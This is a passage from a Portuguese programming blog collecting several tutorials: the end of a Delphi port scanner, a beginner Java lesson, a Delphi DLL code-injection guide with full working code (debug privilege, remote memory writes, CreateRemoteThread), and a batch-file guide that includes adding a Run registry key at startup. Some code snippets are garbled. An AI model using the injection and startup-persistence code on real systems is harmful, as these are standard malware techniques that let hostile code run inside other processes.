Pedimos ao sistema operacional que processe as informações do programa, evitando assim que o mesmo não tenha o efeito de congelamento evidente.

Application.ProcessMessages;

Agora, nas linhas a seguir, definimos para a propriedade RemotePort o nosso TCPClient1 qual porta devera ser verificada no momento, depois ativamos o nosso TCPClient1 e, em seguida, verificamos se foi obtido sucesso.Caso o sucesso seja obtido, adicionamos no nosso Memo1 uma linha contendo a porta que foi encontrada com o estado de aberta. Depois, independente do estado da porta, pedimos sua desconexão.

TCPCLient1.remoteport:= inttostr(i);
TCPClient.Active:=true;

If TCPClient1.connect then
Listagem.lines.add('A Porta ['+ inttostr(i)+ '] está aberta.');
TCPClient1.disconnect;
End;

Em seguida, terminamos o loop e tratamos todas as exceções que possam ocorrer entre os blocos protegidos try.

Except
On E:Exception do Begin
Listagem.lines.add('Erro: ' + E.Message);
End;
End;

Por fim, escrevemos no nosso Memo1 a mensagem de que a verificação foi terminada e finalizamos a execução do programa.

Listagem.lines.add('Verificação Terminada.');

End;

Para concluir, no nosso botão Parar temos a linha de código:

Stop:=1;

Esta linha é responsável por colocar o valor 1 na variável Stop, para que quando o usuário clique no botão Parar, o loop de verificação das portas pare graças ao trecho de código do botão Iniciar abaixo:

If Stop=1 then Break;

Concluindo

Bem pessoal, agora é só salvar todo o projeto e executá-lo. Faça testes em algum servidor que você tenha acesso e/ou saiba que não irá prejudicar ninguém e muito menos incomodar. Vale relembrar que, se deu tudo certo com o seu Port Scanner, você tem uma ferramenta poderosíssima nas mãos e cabe a você usá-la de forma segura e principalmente com intuitos educacionais.

Sobre o Autor

T. J. Nogueira é escritor da Ciência Moderna, editora de livros de informática. Já tem dois livros publicados: Invasão de Redes: Ataques e Defesas, como os Hackers utilizam a linguagem de programação C para efetuar invasões via Internet, e Tudo Sobre buffer overflow. No momento está terminando seu terceiro livro, Como tornar o Windows XP seguro: passo a passo e ainda encontra tempo para trabalhar em mais três livros e de elaborar artigos aqui para a Aldeia

Meu amigo TJ, aldeense de carteirinha, é fanático por leitura. É dele a frase “o que eu mais quero é simplesmente que as pessoas leiam e leiam e leiam cada vez mais sobre qualquer tipo de coisa, desde de budismo até engenharia reversa”. Este é seu primeiro artigo publicado aqui na Aldeia, mas preparem-se… já tem coisa nova saindo do forno e é sobre Gerenciadores Remotos!

Da minha parte, quero dar as boas vindas ao nosso mais novo colaborador e tornar públicos os meus mais sinceros agradecimentos. Além disso, como de costume, um grande abraço da vovó para todos, especialmente para o TJ.

Abraço!
-bRx-

quinta-feira, 9 de junho de 2011

Criando seu primeiro programa em Java

Objetivos:
Escrever seu primeiro programa Java e conhecer conceitos básicos para montar programas em Java que exibam mensagens.
Pré-requisitos:
Para acompanhar esta lição você deve ter instalado o Java, saber utilizar o notepad e saber utilizar o Prompt de Comando do Windows XP ou semelhante.
Criando seu primeiro programa em Java
Comentários
Aprenda a comentar!
Apesar de não executar nenhuma ação os comentários de um programa são muito importantes. Através dos comentários você faz como que seu programa seja mais claro e compreensível aos outros e a vocês mesmo daqui a algum tempo. Pode acreditar.
Você vai se sentir bem melhor quando encontrar seus próprios programas comentários.
No Java são permitidos três tipos de comentários:
» Comentário de linha
» Comentário de múltiplas linhas
» Comentário de documentação
Comentário de linha
Os comentários de linha permitem ao programador descrever o que ocorre em uma determinada linha. O Java ignora tudo o que se encontra depois do símbolo // até o final da linha. Vejamos alguns exemplos:
As frases “Imprime a frase “Olá !””, “Fim do método main” e “Fim da declaração de classe Comentarios’” são comentários de linha. O Java sabe que deve ignorar estas frases pois antes dela encontrou os símbolos “//”.
Comentários de múltipla linha
Os comentários de múltipla linha permitem que tudo o que se encontra entre o início e o fim dos limites do comentário sejam ignorados pelo Java.
No exemplo acima tudo o que estiver entre os caracteres “/*” e “*/” será ignorado pelo Java e tem como finalidade comentar a aplicação.
Comentário de documentação.
O comentário de documentação é semelhante ao comentário de múltiplas linhas.
Ele difere nos delimitadores utilizados e na sua função. São utilizados como delimitadores os símbolos “/**” – delimitador inicial – e “*/” – delimitador final. O objetivo do comentário de documentação é ser utilizado pelo programa javadoc para gerar uma documentação para o programa. Mais tarde entraremos em detalhes sobre como usar o javadoc para gerar documentação.
Definindo uma classe
Todo programa Java deve ter pelo menos uma definição de classe. Uma definição de classe consiste em uma palavra reservada public, seguida da palavra reservada class, seguida do nome da classe que por convenção deve começar com letras maiúsculas. O nome da classe é um identificador. Um identificador pode conter letras, dígitos, sublinhados e o símbolo de cifrão. Um identificador não pode começar com um digito. Um identificador não deve começar com um cifrão.
Veja abaixo um exemplo de uma definição de classe:
Perceba que além das regras citadas acima a definição de classe contém um par de chaves. O que estiver contido dentro deste par de chaves é o que chamados de corpo de definição da classe.
No corpo de definição da classe estarão os métodos (ações) necessários para o funcionamento das classes, assim como, os demais itens necessários para “dar vida” à classe.
“Dando vida” a uma classe
___________________
1) Palavra reservada – Uma palavra reservada é uma palavra que o Java utiliza
internamente. As palavras reservadas não devem ser utilizadas como nome de
classes ou nome de variáveis. Estudaremos sobre variáveis mais a frente.
2) Um identificador não deve começar pelo uso de cifrão porque o Java costuma
utilizar identificadores iniciados por cifrões internamente. Quando for dar nome a
uma classe procure sempre começar com letras maiúsculas.
Para que uma classe execute determinada tarefa a classe deve ter ao menos uma definição de método (definição de ação).
Veja um exemplo de definição de método:
Por enquanto não entraremos em detalhes sobre o que significa cada parte da definição do método. O importante é você saber que toda classe daqui pra frente terá na definição do seu corpo a definição de um método main.
Exibindo uma mensagem
Para exibir uma mensagem no Java utilizaremos à instrução “println”. Esta instrução permite imprimir a mensagem desejada e ainda posiciona o cursor no início da próxima linha da tela.
Vamos ver o exemplo de uma instrução que exibe a mensagem “Bem-vindo a programação Java!”.
System.out.println(“Bem-vindo a programação Java!”);
Outra forma de imprimir mensagens
Você também pode imprimir a mesma mensagem da seguinte forma:
System.out.print(“Bem-vindo a programação Java!”);
A diferença é que o cursor não será posicionado no início da linha seguinte e sim imediatamente após o ponto de interrogação.
Juntando tudo
Juntando todos os tópicos deste capítulo teremos o nosso primeiro programa em Java. Este programa permite a impressão de uma mensagem de boas vindas na tela do computador.
Atenção:
» O Java diferencia letras maiúsculas e letras minúsculas. Tenha cuidado para digitar o texto exatamente como esta acima.
» Ao terminar de digitar o texto salve-o com o mesmo nome da classe e com a extensão Java. O texto acima deve ser salvo em um arquivo chamado “BemVindo.java”.
Entendendo o que cada linha faz
/*
“Avisa” ao Java que irá iniciar um comentário de várias linhas. Tudo o que estiver escrito deste ponto até encontrar o conjunto de caracteres “*/” deverá ser ignorado pelo Java.
BemVindo – Imprime uma mensagem de boas vindas
Comentário – Indicando o nome da classe e seu objetivo
11/01/2011 – Almir Rivas – Criação
Comentário indicando a data da ação, o nome da pessoa que realizou a ação e a descrição da ação realizada, ou seja, No dia
11/01/2011 o Sr.Almir Rivas criou este programa Java.
*/
“Avisa” ao Java que o comentário de vária linha esta encerrado.
public class BemVindo{
Determina o início da definição da classe BemVindo.
public static void main (String args[]) {
Determina o início da definição do método main.
System.out.println(“Bem-vindo a programação Java!”);
Imprime à mensagem “Bem-vindo a programação Java!”
} // método main
Encerra a definição do método main com o caractere “}” e faz um comentário de uma única linha “// método main”.
} // class BemVindo
Encerra a definição da classe BemVindo com o caractere “}” e faz um comentário de uma única linha “// class BemVindo”.
Compilando e executando o nosso programa
No prompt de comando digite javac e o nome do arquivo para compilar o nosso programa.
javac BemVindo.java
Para executar o programa vá ao prompt de comando e digite java e nome da classe, sem a extensão.
java BemVindo
Pronto! Escrevemos o nosso primeiro programa em Java.
Exercitando
Você pode e deve treinar mais um pouco.
Tente fazer o seguinte:
» Escreva um programa Java que possa imprimir mais de uma linha de texto com a instrução System.out.printl.
» Escreva um programa que exiba a frase. “Estou aprendendo java.”. Utilizando três instruções System.out.print.

Fazendo o seu Code Injection

Visto que é algo muito útil e um pouco complicado estarei postando como fazer passo a passo.
Então vamos começar.

Dica:
Para quem não esta acostumado e sequer sabe sobre manipulação de memória recomendo que de uma boa lida em artigos sobre manipulação de memória para que haja uma facilidade de entendimento ao seguir a leitura do tutorial.

O que é Code Injection?
Code injection nada mais é do que injetar uma DLL e fazer com que o processo remoto execute a tal função.
Para fazer isso precisaremos de uma DLL que a função em seja exportada
Ex:no delphi o fim do código seria

exports
FazerExitProcess;

Outro detalhe importante é que precisaremos de privilégios necessários.Para evitar quaisquer eventuais problemas, definiremos o privilégio como o de debug e tambem depois de executada a rotina, não temos mais porque deixar os parâmetros utilizados na execução da mesma no target, isso só iria ocupar espaço, então nós liberaremos toda a memória escrita no processo remoto.

Preparando um Code Injection

Antes de mais nada precisaremos de uma estrutura para os parâmetros do nosso Code Injection então declare
a seguinte type no seu form.

type
TInjectParams = record
LoadLibrary: function (lpLibFileName: PAnsiChar): Cardinal; stdcall;
LibName: PAnsiChar;
GetProcAddress: function (hModule: Cardinal; lpProcName: PAnsiChar): Pointer; stdcall;
ProcName: PAnsiChar;
end;
PInjectParams = ^TInjectParams;

Com essa estrutura,o usuário no final do code injection só precisará de pegar o Process ID(PID) do processo,Portanto declare na uses da sua unit a biblioteca TlHelp32 e nas funções declare a seguinte função.

function GetProcess(proc: string): Cardinal;
var
Snap: THandle;
pe: TProcessEntry32;
begin
Snap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if Snap = 0 then Exit;
if Process32First(Snap,pe) then
begin
repeat
if proc = pe.szExeFile then
begin
Result:=pe.th32ProcessID;
break;
end;
until not Process32Next(Snap,pe)
end
end;

Como ja foi dito,nós precisaremos escrever na memória do processo remoto,portanto é necessário alocar a memória para a escrita,para facilitar vamos declarar as funções.

function WriteString(Process: Cardinal; s: string): Pointer;
var
bytes: Cardinal;
begin
Result:=VirtualAllocEx(Process, nil, length(s) + 1, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Process, Result , pchar(s), length(s) + 1, bytes);
end;
function WriteData(Process, dwSize: Cardinal; RemoteData: pointer): pointer;
var
bytes: Cardinal;
begin
Result:=VirtualAllocEx(Process, nil, dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Process, Result, RemoteData, dwSize, bytes);
end;


Com quase tudo pronto nós precisaremos de uma função para executar o código no processo remoto então declare mais essa função também.

procedure RemoteFunction(Parametros: PInjectParams); stdcall;
var
proc: procedure; stdcall;
begin
proc:=Parametros^.GetProcAddress(Parametros^.LoadLibrary(Parametros^.LibName),Parametros^.ProcName);
proc;
end;

Agora precisaremos de um método para saber o tamanho dessa rotina descrita acima, pois na hora de escrevê-la no target é necessário por o tamanho. Para isso faremos outro método logo abaixo desse, e depois é só pegar o endereço dele e subtrair do endereço da rotina “RemoteFunction”.
Então declare o procedimento :

procedure RemoteFunctionEnd; stdcall;
begin;
end;

E como ja foi dito nos precisaremos de privilégios de DEBUG então declare a função.

procedure ChangePrivilege(szPrivilege: PChar; fEnable: Boolean);
var
NewState: TTokenPrivileges;
luid: TLargeInteger;
hToken: THandle;
ReturnLength: DWord;
begin
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken);
LookupPrivilegeValue(nil, szPrivilege, luid);

NewState.PrivilegeCount := 1;
NewState.Privileges[0].Luid := luid;
if (fEnable) then
NewState.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else
NewState.Privileges[0].Attributes := 0;

AdjustTokenPrivileges(hToken, False, NewState, SizeOf(NewState), nil, ReturnLength);
CloseHandle(hToken);
end;

Pronto, agora só falta montar a função final, mas depois de tudo isso, para quem realmente entendeu a lógica fica fácil.

pprocedure Inject(process, dll, code: string);
var
PID, hProcess, ThreadId, ThreadHandle: Cardinal;
RemoteData,RemoteFunc,LibFileName,ProcName: pointer;
Parametros: TInjectParams;
begin
//Pega o Handle do processo
PID:=GetProcess(Process);
//Seta o privilégio de debug
ChangePrivilege(‘SeDebugPrivilege’, True);

//Abre o processo
hProcess := OpenProcess(PROCESS_ALL_ACCESS, False, PID);

//Define os parâmetros que serão usados para executar a procedure
LibFileName:=WriteString(hProcess, dll);
ProcName:=WriteString(hProcess, code);
Parametros.LoadLibrary:=GetProcAddress(GetModuleHandle(‘kernel32′), ‘LoadLibraryA’);
Parametros.LibName:=LibFileName;
Parametros.GetProcAddress:=GetProcAddress(GetModuleHandle(‘kernel32′), ‘GetProcAddress’);
Parametros.ProcName:=ProcName;

//Abre um novo espaço de memória para guardar os parâmetros
RemoteData:=WriteData(hProcess, sizeof(Parametros), @Parametros);

//Abre um novo espaço de memória para guardar a procedure
RemoteFunc:=WriteData(hProcess, integer(@RemoteFunctionEnd) – integer(@RemoteFunction), @RemoteFunction);

//Cria a thread que executará a procedure
ThreadHandle:=CreateRemoteThread(hProcess, nil, 0, RemoteFunc, RemoteData, 0, ThreadId);
WaitForSingleObject(ThreadHandle, 3000);

//Libera as alocações de memórias criadas
VirtualFreeEx(hProcess,LibFileName,0,MEM_RELEASE);
VirtualFreeEx(hProcess,ProcName,0,MEM_RELEASE);
VirtualFreeEx(hProcess,RemoteFunc,0,MEM_RELEASE);
VirtualFreeEx(hProcess,RemoteData,0,MEM_RELEASE);
end;

Agora chegou a parte que você ira realizar o code injection.
Como ja foi dito precisaremos de uma DLL com uma função que seja exportada então salve todo o seu projeto e crie um novo projeto de DLL.vou mostrar como ficou a minha dll de testes

library testdll;

uses
Windows,
SysUtils,
Classes;

{$R *.res}

procedure MsgBox;
begin
MessageBox(0,’Funcionou’,'Code Injection bem sucedido’,MB_OK+MB_ICONINFORMATION);
end;
exports
MsgBox;
begin
end.

Então agora é só no seu projeto do Injector você usar a função.

Inject('notepad.exe','C:\Dev\CodeInjection\testdll\testdll.dll','MsgBox');

Agora pra quem não entendeu direito,ou não quer nem ler e quer tudo pronto eu coloquei um link com a source do injector e da testdll
http://www.4shared.com/file/101714263/63913ea/CodeInjection.html

Aprenda a programar em .bat

Introdução

Antes de tudo, indicar o porquê os processos são chamados batch. A razão por ele se chamar bat é porque no ms-dos requere-se como máximo três letras na extensão e por tanto os arquivos tem a extensão .bat

O que se pode fazer com eles?

Pode fazer de forma automatizada tudo aquilo que se pode fazer no console do ms-dos.

Como faça um arquivo bat?

Coloque em texto. Apenas decidir onde colocar, pode colocá-lo no bloco de notas ou algum editor ascii.

Ao guardá-los devem ter a notação de nomes próprios do ms-dos. Este nome com no máximo 8 letras (espaço e \ não são permitidos) logo um ponto e a extensão que neste caso é obrigatoriamente bat.

Como posso selecionar vários arquivos;

Para ele tem que se levar em conta os nomes dos arquivos, devem cumprir a notação do ms-dos (8 letras sem espaço como máximo, logo um ponto e três letras como máximo da extensão. Pode se utilizar os comandos;

*Equivale a vários caracteres.
?Equivale a apenas um caracter.

Exemplos

comando *.doc -> selecionar todos os arquivos que tenham a extensão doc.
comando a*.doc -> selecionar todos os arquivos que comecem por a e tenha a extensão doc.
comando a*b.doc -> selecionar todos os arquivos que comecem por a, acabem por b e tenham a extensão doc.
comando *mao*.doc -> selecionar todos os arquivos que contenham ‘mao’ e tenham a extensão doc.
comando c?mao.doc -> selecionar todos os arquivos que contenham ‘c’, logo um carater qualquer e logo ‘mao’. Deve ter tambem a extensão doc.
comando c?b*.* -> selecionar todos os arquivos que comecem por ‘c’, tenham um caracter qualquer, logo um b e qualquer extensão.
comando *.b?t -> selecionar todos os arquivos que tenham a extensão que comece por b, logo um caracter qualquer e logo um t.
Quem são as trajetórias e os patchs;

A trajetória é o nome completo de um arquivo e indica a situação exata de um arquivo e seu nome.

Se digo que o arquivo se chama arquivo.txt indico seu nome, mas nada mais. Se supoe que se encontra no diretório atual.

Se digo c:\arquivo.txt indico que o arquivo que me interesse se chama arquivo.txt e se encontra no diretório ráiz de C.

Dado que no ms-dos nao se admite nomes grandes ( mais de 8 letras ) nem espaço, quando quero utilizar o nome do windows em ms-dos devo saber que este será reconvertido em seu nome curto. Este se obtem os seis primeiros carácteres válidos do nome, logo o sinal ~ (alt 126) e logo um número.

Que comandos podemos utilizar;

Comandos;

Aqui estão alguns comandos utilizados em batch.

ECHO [mensagem ou variável]

Escreve na tela

ECHO OFF

Desativa as informações e confirmações feitas pelo sistema. Como “C:>”, “Tem certeza que deseja fazer tal?”….

ECHO ON

Ativa as informações e confirmações do sistema.

ECHO.

Pula uma linha

SET variavel=valor

Cria ou modifica uma variável (espaço reservado temporariamente na memória RAM para guardar algumas informações númericas, de caractéres, positivo/negativo entre outros. Não podem ter acento e devem começar com letra). Para chamar a variável posteriormente basta coloca-la entre “%”.

Por exemplo:

SET nome=Storm
ECHO O nome dele é %nome%

:nomedolink

Nomeia um ponto do arquivo de lote permitindo avançar ou voltar a execução apartir daquele ponto.
CLS
Esse comando limpa toda a tela. CLear Screen.

@[Comando]

Desativa as informações e confirmações feitas pelo sistema apenas para esta linha.

CODE
IF [condição] (
[ação]
) ELSE (
[ação2]
)

Esse é um comando condicional. “Se condição faça ação, senão faça ação2″.

Por exemplo:

CODE
@ECHO OFF
SET nome=Storm
IF “%nome%”==”Storm” (
ECHO Ola Storm!
) ELSE (
ECHO Ola %nome%!

)
GOTO [ponto]

Avança ou volta a execução para um ponto do arquivo de lote.

FOR /L %%variavel IN (inicio,incremento,fim) DO comando [parâmetro]

Repete um comando varias vezes fazendo incrementações até o fim ser atingido.

/L, é uma opção do comando FOR que faz as incrementações.
%%variavel, é o nome da variável que vai ser incrementada.
inicio, é o valor de inicio da variável que será incrementada.
incremento, número que será somado a cada incrementação.
fim, a repetição irá acabar quando o valor da variável atingir este valor.
comando, um comando que será repetido.
[parâmetro], o parâmetro do comando que será repetido.

Por exemplo:

CODE
@ECHO OFF
FOR /L %%a IN (1,1,5) DO ECHO O valor de A é %%a

PAUSE

Faz uma pausa e só volta quando o usuário apertar alguma tecla do teclado.
REM [comentário]

Este comando não faz absolutamente nada. Ele é utilizado para inserir comentarios nos arquivos.

CODE
PROMPT ->Serve para abrir o prompt do msdos. O mais habitual é $p$g que corresponde a;

$p = mostrar trajeto atual
$g = mostrar o separador >
$l = mostrar o separador <
$b = mostrar o separador |
$q = mostrar o separador =
$$ = mostrar o sinal $
$t = mostrar a hora
$d = mostrar a data
$v = mostrar a versão do sistema
$n = mostrar unidade atual
$h = retroceso. Apaga o caracter previo
$e = esc. Mostra o sinal corresponde a asci 27

Por isso se colocarmos prompt $p$g o cursor mostra a tragetória de onde estamos e logo o separador. É possível o texto ( por exemplo prompt Meu_nome $p$g

DATE
Ver/por a data do sistema

TIME
Ver/por a hora do sistema

VER[/font]
Versão do sistema
[font=Verdana]VOL unidade
Volume da unidade especificada

MEM parametros
Mostra a memoria usada e livre no sistema
/p -> mostra por programas
/d -> por programas econtroladores
/c -> classifica por tamanho

Comandos de manejos de arquivos

COPY origem destino
Serve para copiar arquivos de um lugar a outro. A origem deve ser um trajeto completo de onde estão os arquivos a copiar. Se se omite se entende no diretório atual.

O destino deve ser uma trajetória completa de onde desejar o/os arquivo(s)
copy meuarquivo.txt c:\ (copiá-lo do diretorio raíz de C)
copy meuarquivo.txt c:\meuarq.txt (copiá-lo e poder mudar o nome a meuarq.txt)
copy *.txt a:\ (copiar todos os arquivos que tenham a extensão txt a unidade A)
copy *.txt c:\meusdo~1 (copiar todos os que tenham a extensão txt ao diretório Meus documentos ( cujo o nome curto é meusdoc~1).

DEL arquivo(s)

Apagar arquivos selecionados

del lol.txt (apaga o arquivo lol.txt no diretório atual)
del c:\lol.txt (apaga o arquivo lol.txt que se encontra no c:\)
del arquiv~1\*.*(apaga os arquivos que se encontram no diretório ‘Arquivos de programa’ cujo nome curto é arquiv~1( não se apaga as subpastas)

DELTREE arquivo(s) -y

Apaga a raíz especificada ( se é um arquivo coloca o arquivo, se é uma pasta coloca a pasta com todas as subpastas que incluam).
Com o parametro -y não pergunta cada vez
Este comando na realidade não é um comando sim uma utilidade incluída no ms-dos.

DIR trajeto

Mostra uma lista do conteúdo do diretório especificado no trajeto. Se não especificado nada, se entende o atual.
Se coloca como parametro /W mostra uma lista resumida
Se coloca como parametro /P mostra uma lista utilizando o filtro more.

ATTRIB arquivo(s)-> Mostra os arquivos dos diretórios indicados e nesse caso permite mudá-los.

os atributos são:

H -> oculto. Se ativa com +h e desativa com -h
R -> Leitura. Apenas leitura com +r, normal com -r
S -> Sistema. Se ativa com +s e desativa com -s
A -> Modificado. Para copias de segurança incrementadas. +a indica modificado e -a indica não modificado.
Attrib arquivostorm.txt (mostrar os atributos do arquivostorm.txt)
attrib *.exe +r +r +s (coloca todos os arquivos com extensão exe como ocultos, do sistema e a apenas lê)

RENAME o REN nome1 nome2
Mudar o nome do arquivo
Ren nome1.txt nome2.txt

TYPE arquiivo
Mostra por pasta o conteúdo do arquivo;
type nomedoarquivo.txt

* Todos aqui listados são comandos de MS-DOS que foram criados especificamente para arquivos de lote. Se você precisar de mais detalhes sobre cada um deles basta digitar no MS-DOS (ou no prompt de comando do Windows) [comando]/? Todos comandos de MS-DOS também entram nesta lista incluindo chamadas de outros programas para este sistema.

Comandos para programação

EDIT arquivo

Editor de textos utilizado para editar scripts e arquivos de texto.

DEBUG arquivo parametros de arquivo
Inicia o desassembler com o programa indicado que se colocam por parametros.

CHOICE texto opções

Se utiliza em programas bat para dar elegir a um usuario entre um conjunto de opções
A resposta se devolve mediante a variável errorlevel
choice Eleja uma opçao snc

CODE
if errorlevel 1 goto …
if errorlevel 2 goto …
if errorlevel 3 goto …

Este exemplo mostra a lateral “eleja uma opção e da a elejer s (sim), n (não) o C (continuar) por exemplo as tres seguintes linhas especificam aonde deve sair o fluxo do programa seguido da tecla pulsada.

Variáveis

A condição DEFINED verifica se uma variável já foi definida. Por exemplo, se a variável “x” estiver definida, então o resultado será positivo, senão negativo.
Veja como ficaria:

CODE
@ECHO OFF
IF DEFINED x ( ECHO Positivo ) ELSE ( ECHO Negativo )

Arquivos

A condição EXIST verifica se existe algum arquivo. Por exemplo, se existir o arquivo “exemplo.bat” o resultado será positivo, senão negativo.
Veja como ficaria:

CODE
@ECHO OFF
IF EXIST exemplo.bat ( ECHO Positivo ) ELSE ( ECHO Negativo )

Esta condição não para por aí. No sistema MS-DOS, você pode fazer uma “pesquisa” na pasta em que está por um arquivo digitando parte dele. Você usa “*” para indicar a(s) parte(s) que você não sabe. Por exemplo, se existir algum arquivo com a extensão “.bat” na pasta atual o resultado será positivo, senão negativo.
Veja como ficaria:

CODE
@ECHO OFF
IF EXIST *.bat (ECHO Positivo ) ELSE ( ECHO Negativo )

X é igual a 6?

@ECHO OFF
CLS
SET X=6
IF “%X%” == “6″ GOTO ok
ECHO X não é igual a 6, X é igua a %X%
GOTO saida
:o k
ECHO X é igual a 6
:saida

Na primeira linha. O “@” indica que não é para aparecer o comando que segue, no caso, “ECHO” (Comando que escreve na janela). Nesta linha, eu estou grosseiramente mandando o MS-DOS calar a boca (não falar nada sem eu mandar), pois se ECHO faz o computador “falar”, ECHO OFF faz o computador “desligar a boca” e com o @ no começo da linha, ele nem vai informar ao usuário que está parando de falar.
Na segunda linha, o comando CLS faz o MS-DOS apagar toda a tela.
Na terceira linha, como já foi explicado, faz a variável X=6.
Na quarta linha, é uma linha condicional. Se “X” for igual à 6 vá para “ok”.
Na quinta linha, é óbivio que X não vai ser igual a 6, então o MS-DOS vai “falar” X não é igual a 6, X é igua a [valor de x].
Na sexta linha, ele irá para o ponto “saida” porque o resto é feito se X for igual a 6.
Na sétima linha, está sendo definido o ponto “ok”, aquele ponto citado na quarta linha.
Na oitava linha, X será igua a 6, então o MS-DOS vai dizer X é igual a 6.
E na nona linha, é definido o ponto-final do processamento. Que é chamado na sexta linha, nada mais que isso, então o MS-DOS entende que o batch concluiu.

Faça o teste

1. Abra o Bloco de notas do Windows;
2. Copie o exemplo acima e cole nele
3. Salva-o como exemplo2.bat;
4. Dê dois-clicks nele observe o que acontecerá;
5. Agora experimente modificar a segunda linha por SET idade=n (troque n por algum número);
6. Execute e veja o que acontece.

Programando;

Existe uma infinidade de comandos, como mostrei acima, e só usar a imaginação e podemos programar uma imensidão de finalidades, basta usar a criatividade e alguns comandos, para fechar esse tutorial, vou abordar alguns códigos feito por mim.

Exemplo 1 (Básico)

-fazer um loop que pegue todos os nomes dos diretorios
-dentro de cada diretorio, renomear todos os arquivos com a extensão .txt para .zip

CODE
@echo off
rem *.txt *.zip
@exit

Exemplo 2 (Intermediário/Avançado)

CODE

@echo off

cls

Echo Batch feito por Storm
Echo .
Echo .
Echo Começar o programa?
pause
Echo .
Echo .
Echo .
Echo Este programa cria uma chave de inicializaçao de um arquivo no windows através do menu.
Echo .
Echo .
Echo [1] Deseja que esse arquivo se inicie no seu proximo logon?
Echo [2] Deseja sair do programa?

Set /p choice=Digite o numero correspodente a sua opçao:

if “%choice%”==”2″ goto op2
if “%choice%”==”1″ goto op1

rem Bloco de declaraçao dos gotos

p1 reg add “hklm\Software\Microsoft\Windows\CurrentVersion\Run” /v teste2 /t REG_SZ /d c:\path\batstorm.bat&goto proximo

p2 exit

:proximo
Echo .
Echo .
Echo Chave criada com sucesso.
Echo .
Echo .
Echo Agora mostrarei a chamada de um outro arquivo bat sem a interrupção do arquivo.

Echo [1] Deseja chamar o arquivo batstorm.bat?
Echo [2] Deseja sair do programa?

Set /p choice=Digite o numero correspondente a sua opçao:

if “%choice%”==”2″ goto op3
if “%choice%”==”1″ goto op4

p3 call batstorm.bat&goto proximo2

p4 exit